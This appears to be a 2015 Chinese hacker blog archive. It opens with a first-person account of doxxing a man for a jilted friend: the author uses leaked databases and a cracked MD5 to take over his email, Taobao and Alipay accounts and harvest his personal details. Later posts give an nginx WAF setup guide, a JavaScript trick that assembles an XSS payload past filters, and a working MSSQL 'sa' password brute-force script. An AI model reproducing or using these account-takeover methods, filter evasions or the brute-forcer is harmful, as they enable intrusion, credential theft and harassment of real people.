2015年8月

论如何抓出一只少男杀手

月黑风高的8月16日晚,一位刚被扣上绿帽子的痛苦电竞圈少男找到了我,想让我帮忙射来那对狗男女的资料照片神马的在电竞圈公之于众。
我就叫上u酱和一个小表弟一起开始搞这对屌毛。
我搞男的而u酱他们搞女的那边,通过各种搜索引擎、社工库等,射出了一堆信息,并且还找到了他的一个几年前常用 ID:codz24 和 codz240。
并破解搜库子搜出来的MD5,其他md5都解不开,只能解开这一个superand24,并逐一测试在百度 社工库里收集到的他的账号 邮箱等。 00 在163邮箱中发现有淘宝发来的一些广告邮件,由此可以推出此人在淘宝有注册过。
此时那个我们也成功进入了目标男资料卡里公开展示的一个QQ群,进去后把成员表发给了我,由于该电竞圈我也有参与,所以比较了解这个圈子的一些八卦事。 01 在淘宝尝试用密码登陆,登陆不上去,就找回密码,并防止目标发现,在邮箱中设置了一下密保。 03 找回密码后进入淘宝,通过淘宝进入支付宝,并在淘宝界面看到了最近有购买过胸罩,可惜是A&B罩杯的,好小..差评!
并在淘宝里看到了所有详细资料 周*,1890671****,, 湖南省 楼底(音译)市 鑫华(音译)縣 尚美鎮嘞鞍排放**號(音译),213***
以及身份证号 和另一个姓名 是在支付宝里认证的姓名:赵* 我最初以为赵*是这个妹子的名字,而周*是他父亲或其他什么鬼...
但事情没这么简单,在绑定的身份证号中我发现了一个问题,这是一个男的的身份证。此时我又通过百度搜索这个妹子的QQ搜到了他在一个论坛发过的帖子,里面出现了一个昵称,天上**,这个天上**是我们这个电竞圈比较出名的一个汉子..而此时我在翻阅射进他的百度账号时发现,他的说话方式和天上**非常像,越想越奇怪,后来经过圈内打听才知道,原来天*有冒充妹子勾搭人的习惯。。 04 另外为了证明这个身份证号是这个妹子的,证明这个妹子是男的,是天*勾搭汉子的小号,我管戴绿帽子的这个朋友问来了”妹子”的生日,果然和身份证还有百度账号上设置的吻合。此时我又想起,当时混进去那个资料卡上展示的群里,应该有天*的,但并没有,而是有这个妹子号,这也就吻合了天*就是那个”妹子“,因为他没必要开两个号来一个群,而且这也是不被群管理允许的。我把这些告诉朋友之后仿佛晴天霹雳,和一个男的谈了很久的恋爱...而且这个男的居然还买胸罩,怪不得买A杯,而且这个号经常在网络上发布一些很萌的妹子语气帖子,更是让我一阵发麻...为了证明这些胸罩什么的是这个妹子买的,特意去跟他大张旗鼓公开的宣布我们把它搞了,看到他说,搞了就搞了吧,反正我也被搞了好几次了,而不是反驳,语气符合一个被搞之后的人的心理,可以证明这个号就是他的。不禁感觉,我好像挖出了一个可怕的少男杀手小变态..把这些说给朋友后,也就结束了。世风日下啊....
#################
作者: ZiWen
排版修改: Sys7em.info
说明: 已对当事人相关信息进行处理

Nginx 应用层防火墙

地址: https://github.com/loveshell/ngx_lua_waf 功能: 防止sql注入,本地包含,部分溢出,fuzzing测试,xss,SSRF等web攻击
防止svn/备份之类文件泄漏
防止ApacheBench之类压力测试工具的攻击
屏蔽常见的扫描黑客工具,扫描器
屏蔽异常的网络请求
屏蔽图片附件类目录php执行权限
防止webshell上传
下载: ngx_lua_waf-master 看上去挺牛逼的. 留着备不时之需 安装过程:

推荐使用lujit2.1做lua支持
ngx_lua如果是0.9.2以上版本,建议正则过滤函数改为ngx.re.find,匹配效率会提高三倍左右。
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
nginx安装路径假设为:/usr/local/nginx/conf/
把ngx_lua_waf下载到conf目录下,解压命名为waf
在nginx.conf的http段添加
    lua_package_path "/usr/local/nginx/conf/waf/?.lua";
    lua_shared_dict limit 10m;
    init_by_lua_file  /usr/local/nginx/conf/waf/init.lua; 
    access_by_lua_file /usr/local/nginx/conf/waf/waf.lua;
配置config.lua里的waf规则目录(一般在waf/conf/目录下)
    RulePath = "/usr/local/nginx/conf/waf/wafconf/"
绝对路径如有变动,需对应修改
然后重启nginx即可


配置文件:

 RulePath = "/usr/local/nginx/conf/waf/wafconf/"
    --规则存放目录
    attacklog = "off"
    --是否开启攻击信息记录,需要配置logdir
    logdir = "/usr/local/nginx/logs/hack/"
    --log存储目录,该目录需要用户自己新建,切需要nginx用户的可写权限
    UrlDeny="on"
    --是否拦截url访问
    Redirect="on"
    --是否拦截后重定向
    CookieMatch = "on"
    --是否拦截cookie攻击
    postMatch = "on" 
    --是否拦截post攻击
    whiteModule = "on" 
    --是否开启URL白名单
    black_fileExt={"php","jsp"}
    --填写可上传文件后缀类型
    ipWhitelist={"127.0.0.1"}
    --ip白名单,多个ip用逗号分隔
    ipBlocklist={"1.0.0.1"}
    --ip黑名单,多个ip用逗号分隔
    CCDeny="on"
    --是否开启拦截cc攻击(需要nginx.conf的http段增加lua_shared_dict limit 10m;)
    CCrate = "100/60"
    --设置cc攻击频率,单位为秒.
    --默认1分钟同一个IP只能请求同一个地址100次
    html=[[Please go away~~]]
    --警告内容,可在中括号内自定义
    备注:不要乱动双引号,区分大小写

测试: 

curl http://xxxx/test.php?id=../etc/passwd
返回"Please go away~~"字样,说明规则生效。

   

Copyright: 

  Weibo: 神奇的魔法师 

  Forum: http://bbs.linuxtone.org/ 

  License MIT License Copyright (c) 2013- loveshell

JS无加号拼接字符串

function StringBuffer() { this.__strings__ = new Array(); }; StringBuffer.prototype.append = function(str) { this.__strings__.push(str); return this; }; StringBuffer.prototype.toString = function() { return this.__strings__.join(''); }; var buffer = new StringBuffer(); buffer.append('hello').append('world'); var res = buffer.toString(); alert(res);
/*只有一行,用双引号括起来即可*/function StringBuffer() {this.__strings__ = new Array();};StringBuffer.prototype.append = function(str) {this.__strings__.push(str);	return this;};StringBuffer.prototype.toString = function() {return this.__strings__.join('');};var buffer = new StringBuffer();buffer.append('<img src=1 onerror=ale').append('rt(2*2)');var res = buffer.toString();alert(res);

Python 小工具

#/usr/bin/env python
#encoding=utf-8
'''
	Power By A.tm.k
	2015-8-7
	将两个文本合并为一个文本
	a.txt + a1.txt > a.txt
'''
import os,sys

def getdir():
	fils = []
	temps = []
	for x in os.listdir(os.getcwd()):
		temps.append(x);
	for x in temps:
		a = x.split('.');
		if a[-1] == 'txt':
			fils.append(x);
	return fils;
def code(fils):
	for i in fils:
		print i[0:3];
	a = raw_input("Check File Name, Do You Want Continue? (Y)es or (N)o:");
	if (a=='N' or a == 'n'):
		sys.exit();
	if (a == 'Y' or a == 'y'):
		a = len(fils);
		fils.append(str(a));
		for i in range(0,a):
			if (fils[i][0:3] == fils[i+1][0:3]):
				templist = [];
				f = open(fils[i]);
				f1 = open(fils[i+1]);
				tmp = open('temp.txt','a');
				for d in f.readlines():
					if(len(d)>0):
						templist.append(d.strip()+'\n');
				for d in f1.readlines():
					if (len(d)>0):
						templist.append(d.strip()+'\n');
				for k in set(templist):
					tmp.write(k)
				f.close();
				f1.close();
				tmp.close();
				os.remove(fils[i])
				os.remove(fils[i+1])
				os.rename('temp.txt',fils[i+1])
				print "[+]"+fils[i]+"<---->"+fils[i+1]+"=======>"+fils[i+1]+" DONE";

if __name__ == '__main__':
	f = getdir()
	code(f);

文件: total.zip 大小: 811 字节
修改时间: 2015年8月7日, 20:00:55
MD5: EA6C5FFB6F70E87C62D5550C180D9DBF
SHA1: 4117AFCE2299E1E3BC3A82999594D25B84FF4ACC
CRC32: 9DEF9657

1433 爆破脚本

#/use/bin/env python
#encoding=utf-8
'''
	Power By A.tm.k From http://sys7em.info/
	Brute Microsoft SQL Server Script
	Microsoft SQL Server 数据库爆破脚本
'''
from __future__ import division
import sys,time
import _mssql
import socket
reload(sys)
sys.setdefaultencoding('gbk')
def connect(host='127.0.0.1',pwd='123456'):
	try:
		conn = _mssql.connect(server=host,user='sa',password=pwd,database='master');
		conn.close()
		return True;
	except Exception, e:
		return False;
def check(host='127.0.0.1'):
	sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
	socket.setdefaulttimeout(5);
	try:
		sock.connect((host,1433))
		sock.close();
		return True;
	except Exception, e:
		sock.close();
		return False;
def usage():
	t = 'Power By A.tm.k';
	m = '2015-8-3';
	r = 'Usage: brute.py -l ip.txt pass.txt';
	r1 = 'or: brute.py -i 127.0.0.1 pass.txt';
	i = '-';
	print "*"+i*50+"*";
	print "+"+' '*int(((50-len(t))/2))+t+' '*int(((50-len(t))/2))+' +';
	print "+"+' '*int(((50-len(m))/2))+m+' '*int(((50-len(m))/2))+'+';
	print "="+i*50+"=";
	print "+"+' '*int(((50-len(r))/2))+r+' '*int(((50-len(r))/2))+'+';
	print "+"+' '*int(((50-len(r1))/2))+r1+' '*int(((50-len(r1))/2))+'+';
	print "*"+i*50+"*";
def brute(argv='-i',ip='127.0.0.1',pwd='admin'):
	oklist = []
	ips = []
	if argv == '-i':
		print 'Checking host...'
		if check(host=ip):
			print 'Host Up';
			print 'Start Brute';
			try:
				pwd_list = open(pwd);
			except Exception, e:
				print "Password File Fail";
			for x in pwd_list.readlines():
				if connect(host=ip,pwd=x.strip()):
					print 'Brute Dong: pass is -&gt; '+x
			pwd_list.close()
			print "Stop Brute"
		else:
			print 'Host Down';
			print 'Stop Brute';
	elif argv == '-l':
		try:
			ip_list = open(ip)
		except Exception, e:
			print 'IP LIST Fail';
		try:
			pwd_list = open(pwd);
		except Exception, e:
			print 'Password File Fail'
		print "Checking host..."
		for i in ip_list.readlines():
			if check(host=i):
				ips.append(i.strip())
		for i in set(ips):
			for p in pwd_list.readlines():
				if connect(host=i.strip(),pwd=p.strip()):
					tmp = 'IP: '+i+" : "+p
					oklist.append(tmp)
		ok = open('ok.txt','a')
		for i in oklist:
			ok.write(i)
		ok.close()
		pwd_list.close()
		ip_list.close()
	else:
		print "argv Not Found"
def main():
	if len(sys.argv) &lt;= 3:
		usage();
	elif len(sys.argv) == 4:
		brute(argv=sys.argv[1],ip=sys.argv[2],pwd=sys.argv[3])
	else:
		print "argv overflow"
if __name__ == '__main__':
	main()

brute.zip 需要安装 _mssql 模块 或者使用 pymssql 套结替换代码中的 conn 验证串
文件: brute.py
大小: 2587 字节
修改时间: 2015年8月3日, 22:44:43
MD5: 9C3A0B6148640A66F5CDDA4368289D7F
SHA1: C9350426EACA0D699F1751144E8FA226ACD3027C
CRC32: 165E953D